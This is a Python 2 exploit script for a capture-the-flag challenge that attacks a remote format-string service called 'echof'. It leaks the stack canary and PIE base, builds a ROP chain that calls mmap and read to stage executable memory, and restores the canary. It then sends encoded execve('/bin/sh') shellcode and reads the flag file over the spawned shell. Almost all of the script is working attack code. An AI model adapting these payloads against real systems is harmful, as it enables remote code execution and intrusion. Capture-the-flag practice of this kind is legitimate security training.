from socket import *
from struct import *
import sys, os, time, base64, ctypes


HOST = '166.111.132.155'#'pwnbox.ztx.io'
HOST = 'pwnbox.ztx.io'
PORT = 11111#1417
PORT = 1417

''' game start! '''
s = socket(AF_INET, SOCK_STREAM)
#s.connect( ('localhost', 33000) )
s.connect( (HOST, PORT) )
r = s.recv(4096)
print r
s.send('letmein\n')
r = s.recv(4096)
print r

raw_input()

''' stage 1 '''
# get canary, piebase
canary = 0
piebase = 0
mmap=0
read=0
pppr=0
p_mmap=0 # addr of mmap pointer
p_read=0 # addr of read pointer
p1 = '%78$X.%79$X.'
p1 += 'A'*(128-len(p1))
print 'len : ' + str(len(p1))
s.send( p1 )
r = s.recv(4096)
canary = int(r.split('.')[0], 16)
piebase = int(r.split('.')[1], 16) - 0xC10
pppr = piebase + 0x95F
p_mmap = piebase + 0xAE6
p_read = piebase + 0xA79
print 'canary : {0}'.format(hex(canary))
print 'piebase : {0}'.format(hex(piebase))
print 'pppr : {0}'.format(hex(pppr))
print 'p_mmap : {0}'.format(hex(p_mmap))
print 'p_read : {0}'.format(hex(p_read))


''' stage 2 '''
# calculate &mmap, &read
p2 = '.%27$s.%28$s.%29$s.%30$s.%31$s.%32$s.%33$s.%34$s.AAA'
p2 += pack('<L', p_mmap)
p2 += pack('<L', p_read)
p2 += pack('<L', p_mmap+1)
p2 += pack('<L', p_read+1)
p2 += pack('<L', p_mmap+2)
p2 += pack('<L', p_read+2)
p2 += pack('<L', p_mmap+3)
p2 += pack('<L', p_read+3)
p2 += 'A'*(128-len(p2))
print 'len : ' + str(len(p2))
s.send( p2 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
    r = s.recv(4096)
print r
# get mmap, read address!
mmap1 = r.split('.')[1]
read1 = r.split('.')[2]
mmap2 = r.split('.')[3]
read2 = r.split('.')[4]
mmap3 = r.split('.')[5]
read3 = r.split('.')[6]
mmap4 = r.split('.')[7]
read4 = r.split('.')[8]
mmap = unpack('B', mmap1[0])[0]
mmap += unpack('B', mmap2[0])[0] << 8
mmap += unpack('B', mmap3[0])[0] << 16
mmap += unpack('B', mmap4[0])[0] << 24
mmap = ctypes.c_int32( mmap ).value + p_mmap + 4
read = unpack('B', read1[0])[0]
read += unpack('B', read2[0])[0] << 8
read += unpack('B', read3[0])[0] << 16
read += unpack('B', read4[0])[0] << 24
read = ctypes.c_int32( read ).value + p_read + 4
print 'mmap : {0}'.format(hex(mmap))
print 'read : {0}'.format(hex(read))

''' stage3 '''
# set ROP payload
# [&mmap][&pppr][0x11111000][0x13001][7][32][-1][0][DEADBEEF][&read][0][0x11111001][0x101]
zero = '%2$c'
p3 = '%272c'
p3 += pack('<L', mmap)
p3 += pack('<L', pppr)
p3 += zero + pack('BBB', 0x10, 0x11, 0x11) # 0x11111000
p3 += pack('BBB', 0x01, 0x30, 0x01) + zero # 0x00013001
p3 += pack('B', 0x7) + zero + zero + zero # 0x00000007
p3 += pack('B', 0x32) + zero + zero + zero # 0x00000032
p3 += pack('<L', 0xFFFFFFFF)   # -1
p3 += zero + zero + zero + zero   # 0
p3 += '%4c'
p3 += pack('<L', read)
p3 += pack('<L', 0x11111001)   # ret addr of read
p3 += zero + zero + zero + zero   # stdin
p3 += pack('<L', 0x11111001)   # read buffer
p3 += pack('BB', 0x01,0x01) + zero + zero # 0x101
p3 += 'A'*(128-len(p3))
print 'len : ' + str(len(p3))
s.send( p3 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
    r = s.recv(4096)
print r

''' stage4 '''
# restore stack protector
p4 = '%2$140c' + pack('<L', ctypes.c_uint32( (canary>>8) + 0x41000000 ).value)
p4 = 'A'*(128-len(p4)) + p4
print 'len : ' + str(len(p4))
s.send( p4 )
r = s.recv(4096)
# in case we just got 'msg?'
if len(r) < 10:
    r = s.recv(4096)
print r

''' stage5 '''
# trigger exploit
p5 = 'n'*128
print 'len : ' + str(len(p5))
s.send( p5 )
# send shellcode
# execve('/bin/sh')
sh  = '\xE8\xFF\xFF\xFF\xFF\xC0\x8B\x34\x24\x83\xC6\x14\x31\xC9'
sh += '\xB1\xFF\x8A\x06\x30\xC8\x88\x06\x46\xE2\xF7\xCE\x2C\xAF'
sh += '\x94\xD4\xD5\x8A\x90\x9F\xD9\x97\x9D\x9D\x7B\x12\xA2\xBC'
sh += '\x67\x0C\xDD\x2B\x5A\xE2\x25\x67'
sh += '\x90'*(0x101 - len(sh))
s.send( sh )
# got shell.
s.send( 'cat /home/echof/flag\n' )
print s.recv(4096)